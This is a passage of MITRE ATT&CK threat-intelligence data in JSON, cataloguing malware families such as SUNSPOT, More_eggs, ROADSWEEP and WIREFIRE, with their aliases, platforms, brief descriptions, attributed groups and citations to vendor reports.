India"],"x_mitre_aliases":["MacMa","OSX.CDDS","DazzleSpy"],"type":"malware","id":"malware--bdee9574-7479-4073-a7dc-e86d8acd073a","created":"2022-05-06T01:29:34.860Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1016","external_id":"S1016"},{"source_name":"DazzleSpy","description":"(Citation: ESET DazzleSpy Jan 2022)"},{"source_name":"OSX.CDDS","description":"(Citation: Objective-See MacMa Nov 2021)"},{"source_name":"ESET DazzleSpy Jan 2022","description":"M.Léveillé, M., Cherepanov, A.. (2022, January 25). Watering hole deploys new macOS malware, DazzleSpy, in Asia. Retrieved May 6, 2022.","url":"https://www.welivesecurity.com/2022/01/25/watering-hole-deploys-new-macos-malware-dazzlespy-asia/"},{"source_name":"Symantec Daggerfly 2024","description":"Threat Hunter Team. (2024, July 23). Daggerfly: Espionage Group Makes Major Update to Toolset. Retrieved July 25, 2024.","url":"https://symantec-enterprise-blogs.security.com/threat-intelligence/daggerfly-espionage-updated-toolset"},{"source_name":"Objective-See MacMa Nov 2021","description":"Wardle, P. (2021, November 11). OSX.CDDS (OSX.MacMa). Retrieved June 30, 2022.","url":"https://objective-see.org/blog/blog_0x69.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T02:30:25.854Z","name":"FunnyDream","description":"[FunnyDream](https://attack.mitre.org/software/S1044) is a backdoor with multiple components that was used during the [FunnyDream](https://attack.mitre.org/campaigns/C0007) campaign since at least 2019, primarily for execution and exfiltration.(Citation: Bitdefender FunnyDream Campaign November 2020)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_aliases":["FunnyDream"],"type":"malware","id":"malware--be25c1c0-1590-4219-a3d5-6f31799d1d1b","created":"2022-09-23T14:26:54.392Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1044","external_id":"S1044"},{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-08-09T17:27:24.399Z","name":"ROADSWEEP","description":"[ROADSWEEP](https://attack.mitre.org/software/S1150) is a ransomware that was deployed against Albanian government networks during [HomeLand Justice](https://attack.mitre.org/campaigns/C0038) along with the [CHIMNEYSWEEP](https://attack.mitre.org/software/S1149) backdoor.(Citation: Mandiant ROADSWEEP August 2022)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_aliases":["ROADSWEEP"],"type":"malware","id":"malware--be471c69-12d5-4bcc-9dad-3d42c3dbca4b","created":"2024-08-08T17:32:30.731Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1150","external_id":"S1150"},{"source_name":"Mandiant ROADSWEEP August 2022","description":"Jenkins, L. at al. (2022, August 4). ROADSWEEP Ransomware - Likely Iranian Threat Actor Conducts Politically Motivated Disruptive Activity Against Albanian Government Organizations. Retrieved August 6, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/likely-iranian-threat-actor-conducts-politically-motivated-disruptive-activity-against/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-03-27T20:02:20.344Z","name":"SUNSPOT","description":"[SUNSPOT](https://attack.mitre.org/software/S0562) is an implant that injected the [SUNBURST](https://attack.mitre.org/software/S0559) backdoor into the SolarWinds Orion software update framework. It was used by [APT29](https://attack.mitre.org/groups/G0016) since at least February 2020.(Citation: CrowdStrike SUNSPOT Implant January 2021) ","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.2","x_mitre_aliases":["SUNSPOT"],"type":"malware","id":"malware--bf48e7f8-752c-4ce8-bf8f-748edacd8fa6","created":"2021-01-12T16:14:28.845Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0562","external_id":"S0562"},{"source_name":"SUNSPOT","description":"(Citation: CrowdStrike SUNSPOT Implant January 2021)"},{"source_name":"CrowdStrike SUNSPOT Implant January 2021","description":"CrowdStrike Intelligence Team. (2021, January 11). SUNSPOT: An Implant in the Build Process. Retrieved January 11, 2021.","url":"https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T00:40:07.038Z","name":"More_eggs","description":"[More_eggs](https://attack.mitre.org/software/S0284) is a JScript backdoor used by [Cobalt Group](https://attack.mitre.org/groups/G0080) and [FIN6](https://attack.mitre.org/groups/G0037). Its name was given based on the variable \"More_eggs\" being present in its code. There are at least two different versions of the backdoor being used, version 2.0 and version 4.4. (Citation: Talos Cobalt Group July 2018)(Citation: Security Intelligence More Eggs Aug 2019)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"3.1","x_mitre_contributors":["Drew Church, Splunk"],"x_mitre_aliases":["More_eggs","SKID","Terra Loader","SpicyOmelette"],"type":"malware","id":"malware--bfd2738c-8b43-43c3-bc9f-d523c8e88bf4","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0284","external_id":"S0284"},{"source_name":"SKID","description":"(Citation: Crowdstrike GTR2020 Mar 2020)"},{"source_name":"SpicyOmelette","description":"(Citation: Security Intelligence More Eggs Aug 2019)"},{"source_name":"Terra Loader","description":"(Citation: Security Intelligence More Eggs Aug 2019)(Citation: Visa FIN6 Feb 2019)"},{"source_name":"More_eggs","description":"(Citation: Talos Cobalt Group July 2018)(Citation: ESET EvilNum July 2020)"},{"source_name":"Crowdstrike GTR2020 Mar 2020","description":"Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020.","url":"https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf"},{"source_name":"ESET EvilNum July 2020","description":"Porolli, M. (2020, July 9). More evil: A deep look at Evilnum and its toolset. Retrieved January 22, 2021.","url":"https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/"},{"source_name":"Talos Cobalt Group July 2018","description":"Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.","url":"https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html"},{"source_name":"Security Intelligence More Eggs Aug 2019","description":"Villadsen, O.. (2019, August 29). More_eggs, Anyone? Threat Actor ITG08 Strikes Again. Retrieved September 16, 2019.","url":"https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/"},{"source_name":"Visa FIN6 Feb 2019","description":"Visa Public. (2019, February). FIN6 Cybercrime Group Expands Threat to eCommerce Merchants. Retrieved September 16, 2019.","url":"https://usa.visa.com/dam/VCOM/global/support-legal/documents/fin6-cybercrime-group-expands-threat-To-ecommerce-merchants.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-10T23:44:19.752Z","name":"SysUpdate","description":"[SysUpdate](https://attack.mitre.org/software/S0663) is a backdoor written in C++ that has been used by [Threat Group-3390](https://attack.mitre.org/groups/G0027) since at least 2020.(Citation: Trend Micro Iron Tiger April 2021)","x_mitre_platforms":["Windows","Linux"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.2","x_mitre_aliases":["SysUpdate","HyperSSL","Soldier","FOCUSFJORD"],"type":"malware","id":"malware--c009560a-f097-45a3-8f9f-78ec1440a783","created":"2021-11-29T18:37:40.308Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0663","external_id":"S0663"},{"source_name":"HyperSSL","description":"(Citation: Trend Micro Iron Tiger April 2021)"},{"source_name":"Soldier","description":"(Citation: Trend Micro Iron Tiger April 2021)"},{"source_name":"FOCUSFJORD","description":"(Citation: Trend Micro Iron Tiger April 2021)"},{"source_name":"Trend Micro Iron Tiger April 2021","description":"Lunghi, D. and Lu, K. (2021, April 9). Iron Tiger APT Updates Toolkit With Evolved SysUpdate Malware. Retrieved November 12, 2021.","url":"https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["TinyZBot"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"malware","id":"malware--c0c45d38-fe57-4cd4-b2b2-9ecd0ddd4ca9","created":"2017-05-31T21:32:12.310Z","x_mitre_version":"1.1","external_references":[{"source_name":"mitre-attack","external_id":"S0004","url":"https://attack.mitre.org/software/S0004"},{"source_name":"Cylance Cleaver","url":"https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf","description":"Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017."}],"x_mitre_deprecated":false,"revoked":false,"description":"[TinyZBot](https://attack.mitre.org/software/S0004) is a bot written in C# that was developed by [Cleaver](https://attack.mitre.org/groups/G0003). (Citation: Cylance Cleaver)","modified":"2022-07-22T18:37:22.180Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"TinyZBot","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-08T20:11:00.316Z","name":"OutSteel","description":"[OutSteel](https://attack.mitre.org/software/S1017) is a file uploader and document stealer developed with the scripting language AutoIT that has been used by [Saint Bear](https://attack.mitre.org/groups/G1031) since at least March 2021.(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"2.0","x_mitre_aliases":["OutSteel"],"type":"malware","id":"malware--c113230f-f044-423b-af63-9b63c802f5ae","created":"2022-06-09T16:07:23.821Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1017","external_id":"S1017"},{"source_name":"Palo Alto Unit 42 OutSteel SaintBot February 2022 ","description":"Unit 42. (2022, February 25). Spear Phishing Attacks Target Organizations in Ukraine, Payloads Include the Document Stealer OutSteel and the Downloader SaintBot. Retrieved June 9, 2022.","url":"https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-03-22T00:10:02.140Z","name":"BackConfig","description":"[BackConfig](https://attack.mitre.org/software/S0475) is a custom Trojan with a flexible plugin architecture that has been used by [Patchwork](https://attack.mitre.org/groups/G0040).(Citation: Unit 42 BackConfig May 2020)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_aliases":["BackConfig"],"type":"malware","id":"malware--c13d9621-aca7-436b-ab3d-3a95badb3d00","created":"2020-06-17T20:17:37.168Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0475","external_id":"S0475"},{"source_name":"Unit 42 BackConfig May 2020","description":"Hinchliffe, A. and Falcone, R. (2020, May 11). Updated BackConfig Malware Targeting Government and Military Organizations in South Asia. Retrieved June 17, 2020.","url":"https://unit42.paloaltonetworks.com/updated-backconfig-malware-targeting-government-and-military-organizations/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2022-10-17T14:40:59.636Z","name":"PowGoop","description":"[PowGoop](https://attack.mitre.org/software/S1046) is a loader that consists of a DLL loader and a PowerShell-based downloader; it has been used by [MuddyWater](https://attack.mitre.org/groups/G0069) as their main loader.(Citation: DHS CISA AA22-055A MuddyWater February 2022)(Citation: CYBERCOM Iranian Intel Cyber January 2022)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_contributors":["Ozer Sarilar, @ozersarilar, STM"],"x_mitre_aliases":["PowGoop"],"type":"malware","id":"malware--c19d19ae-dd58-4584-8469-966bbeaa80e3","created":"2022-09-29T15:44:58.517Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1046","external_id":"S1046"},{"source_name":"CYBERCOM Iranian Intel Cyber January 2022","description":"Cyber National Mission Force. (2022, January 12). Iranian intel cyber suite of malware uses open source tools. Retrieved September 30, 2022.","url":"https://www.cybercom.mil/Media/News/Article/2897570/iranian-intel-cyber-suite-of-malware-uses-open-source-tools/"},{"source_name":"DHS CISA AA22-055A MuddyWater February 2022","description":"FBI, CISA, CNMF, NCSC-UK. (2022, February 24). Iranian Government-Sponsored Actors Conduct Cyber Operations Against Global Government and Commercial Networks. Retrieved September 27, 2022.","url":"https://www.cisa.gov/uscert/ncas/alerts/aa22-055a"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T01:44:05.770Z","name":"Kwampirs","description":"[Kwampirs](https://attack.mitre.org/software/S0236) is a backdoor Trojan used by [Orangeworm](https://attack.mitre.org/groups/G0071). [Kwampirs](https://attack.mitre.org/software/S0236) has been found on machines which had software installed for the use and control of high-tech imaging devices such as X-Ray and MRI machines.(Citation: Symantec Orangeworm April 2018) [Kwampirs](https://attack.mitre.org/software/S0236) has multiple technical overlaps with [Shamoon](https://attack.mitre.org/software/S0140) based on reverse engineering analysis.(Citation: Cylera Kwampirs 2022)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.2","x_mitre_contributors":["Elger Vinicius S. Rodrigues, @elgervinicius, CYBINT Centre"],"x_mitre_aliases":["Kwampirs"],"type":"malware","id":"malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0236","external_id":"S0236"},{"source_name":"Kwampirs","description":"(Citation: Symantec Orangeworm April 2018)"},{"source_name":"Cylera Kwampirs 2022","description":"Pablo Rincón Crespo. (2022, January). The link between Kwampirs (Orangeworm) and Shamoon APTs. Retrieved February 8, 2024.","url":"https://resources.cylera.com/hubfs/Cylera%20Labs/Cylera%20Labs%20Kwampirs%20Shamoon%20Technical%20Report.pdf"},{"source_name":"Symantec Orangeworm April 2018","description":"Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.","url":"https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["Nerex"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--c251e4a5-9a2e-4166-8e42-442af75c3b9a","type":"malware","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0210","external_id":"S0210"},{"source_name":"Nerex","description":"(Citation: Symantec Nerex May 2012)"},{"url":"https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf","description":"O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.","source_name":"Symantec Elderwood Sept 2012"},{"source_name":"Symantec Nerex May 2012","description":"Ladley, F. (2012, May 15). Backdoor.Nerex. Retrieved February 23, 2018.","url":"https://www.symantec.com/security_response/writeup.jsp?docid=2012-051515-3445-99"}],"modified":"2021-01-06T19:32:28.182Z","name":"Nerex","description":"[Nerex](https://attack.mitre.org/software/S0210) is a Trojan used by [Elderwood](https://attack.mitre.org/groups/G0066) to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Nerex May 2012)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["BoomBox"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--c26f1c05-b861-4970-94dc-2f7f921a3074","type":"malware","created":"2021-08-03T14:55:46.682Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0635","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0635"},{"source_name":"MSTIC Nobelium Toolset May 2021","url":"https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/","description":"MSTIC. (2021, May 28). Breaking down NOBELIUM’s latest early-stage toolset. Retrieved August 4, 2021."}],"modified":"2022-01-18T18:10:37.673Z","name":"BoomBox","description":"[BoomBox](https://attack.mitre.org/software/S0635) is a downloader responsible for executing next stage components that has been used by [APT29](https://attack.mitre.org/groups/G0016) since at least 2021.(Citation: MSTIC Nobelium Toolset May 2021)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T02:38:56.409Z","name":"DEADEYE","description":"[DEADEYE](https://attack.mitre.org/software/S1052) is a malware launcher that has been used by [APT41](https://attack.mitre.org/groups/G0096) since at least May 2021. [DEADEYE](https://attack.mitre.org/software/S1052) has variants that can either embed a payload inside a compiled binary (DEADEYE.EMBED) or append it to the end of a file (DEADEYE.APPEND).(Citation: Mandiant APT41)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_aliases":["DEADEYE","DEADEYE.EMBED","DEADEYE.APPEND"],"type":"malware","id":"malware--c46eb8e6-bf29-4696-8008-3ddb0b4ca470","created":"2022-12-20T21:08:56.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1052","external_id":"S1052"},{"source_name":"DEADEYE.EMBED","description":"(Citation: Mandiant APT41)"},{"source_name":"DEADEYE.APPEND","description":"(Citation: Mandiant APT41)"},{"source_name":"Mandiant APT41","description":"Rufus Brown, Van Ta, Douglas Bienstock, Geoff Ackerman, John Wolfram. (2022, March 8). Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments. Retrieved July 8, 2022.","url":"https://www.mandiant.com/resources/apt41-us-state-governments"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-09-19T13:31:34.134Z","name":"PUNCHTRACK","description":"[PUNCHTRACK](https://attack.mitre.org/software/S0197) is non-persistent point of sale (POS) system malware utilized by [FIN8](https://attack.mitre.org/groups/G0061) to scrape payment card data. (Citation: FireEye Fin8 May 2016) (Citation: FireEye Know Your Enemy FIN8 Aug 2016)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_aliases":["PUNCHTRACK","PSVC"],"type":"malware","id":"malware--c4de7d83-e875-4c88-8b5d-06c41e5b7e79","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0197","external_id":"S0197"},{"source_name":"PUNCHTRACK","description":"(Citation: FireEye Fin8 May 2016) (Citation: FireEye Know Your Enemy FIN8 Aug 2016)"},{"source_name":"PSVC","description":"(Citation: FireEye Know Your Enemy FIN8 Aug 2016)"},{"source_name":"FireEye Know Your Enemy FIN8 Aug 2016","description":"Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.","url":"https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html"},{"source_name":"FireEye Fin8 May 2016","description":"Kizhakkinan, D., et al. (2016, May 11). Threat Actor Leverages Windows Zero-day Exploit in Payment Card Data Attacks. Retrieved February 12, 2018.","url":"https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["Proton"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--c541efb4-e7b1-4ad6-9da8-b4e113f5dd42","type":"malware","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0279","external_id":"S0279"},{"source_name":"Proton","description":"(Citation: objsee mac malware 2017)."},{"url":"https://objective-see.com/blog/blog_0x25.html","description":"Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.","source_name":"objsee mac malware 2017"}],"modified":"2021-01-22T16:19:40.969Z","name":"Proton","description":"[Proton](https://attack.mitre.org/software/S0279) is a macOS backdoor focusing on data theft and credential access (Citation: objsee mac malware 2017).","x_mitre_version":"1.2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["Trojan.Mebromi"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--c5e9cb46-aced-466c-85ea-7db5572ad9ec","type":"malware","created":"2017-05-31T21:32:11.148Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0001","external_id":"S0001"},{"source_name":"Ge 2011","description":"Ge, L. (2011, September 9). BIOS Threat is Showing up Again!. Retrieved November 14, 2014.","url":"http://www.symantec.com/connect/blogs/bios-threat-showing-again"}],"modified":"2020-03-30T18:22:55.430Z","name":"Trojan.Mebromi","description":"[Trojan.Mebromi](https://attack.mitre.org/software/S0001) is BIOS-level malware that takes control of the victim before MBR. (Citation: Ge 2011)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["InnaputRAT"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--c8b6cc43-ce61-42ae-87f3-a5f10526f952","type":"malware","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0259","external_id":"S0259"},{"source_name":"InnaputRAT","description":"(Citation: ASERT InnaputRAT April 2018)"},{"source_name":"ASERT InnaputRAT April 2018","description":"ASERT Team. (2018, April 04). Innaput Actors Utilize Remote Access Trojan Since 2016, Presumably Targeting Victim Files. Retrieved July 9, 2018.","url":"https://asert.arbornetworks.com/innaput-actors-utilize-remote-access-trojan-since-2016-presumably-targeting-victim-files/"}],"modified":"2020-03-20T02:21:24.856Z","name":"InnaputRAT","description":"[InnaputRAT](https://attack.mitre.org/software/S0259) is a remote access tool that can exfiltrate files from a victim’s machine. [InnaputRAT](https://attack.mitre.org/software/S0259) has been seen out in the wild since 2016. (Citation: ASERT InnaputRAT April 2018)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-03-05T18:40:41.264Z","name":"WIREFIRE","description":"[WIREFIRE](https://attack.mitre.org/software/S1115) is a web shell written in Python that exists as trojanized logic to the visits.py component of Ivanti Connect Secure VPN appliances. [WIREFIRE](https://attack.mitre.org/software/S1115) was used during [Cutting Edge](https://attack.mitre.org/campaigns/C0029) for downloading files and command execution.(Citation: Mandiant Cutting Edge January 2024)","x_mitre_platforms":["Network"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_aliases":["WIREFIRE","GIFTEDVISITOR"],"type":"malware","id":"malware--c93e3079-43fb-4d8d-9e99-db63d07eadc9","created":"2024-03-04T21:40:28.083Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1115","external_id":"S1115"},{"source_name":"GIFTEDVISITOR","description":"(Citation: Volexity Ivanti Zero-Day Exploitation January 2024)"},{"source_name":"Mandiant Cutting Edge January 2024","description":"McLellan, T. et al. (2024, January 12). Cutting Edge: Suspected APT Targets Ivanti Connect Secure VPN in New Zero-Day Exploitation. Retrieved February 27, 2024.","url":"https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day"},{"source_name":"Volexity Ivanti Zero-Day Exploitation January 2024","description":"Meltzer, M. et al. (2024, January 10). Active Exploitation of Two Zero-Day Vulnerabilities in Ivanti Connect Secure VPN. Retrieved February 27, 2024.","url":"https://www.volexity.com/blog/2024/01/10/active-exploitation-of-two-zero-day-vulnerabilities-in-ivanti-connect-secure-vpn/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T01:48:38.105Z","name":"Kessel","description":"[Kessel](https://attack.mitre.org/software/S0487) is an advanced version of OpenSSH which acts as a custom backdoor, mainly acting to steal credentials and function as a bot. [Kessel](https://attack.mitre.org/software/S0487) has been active since 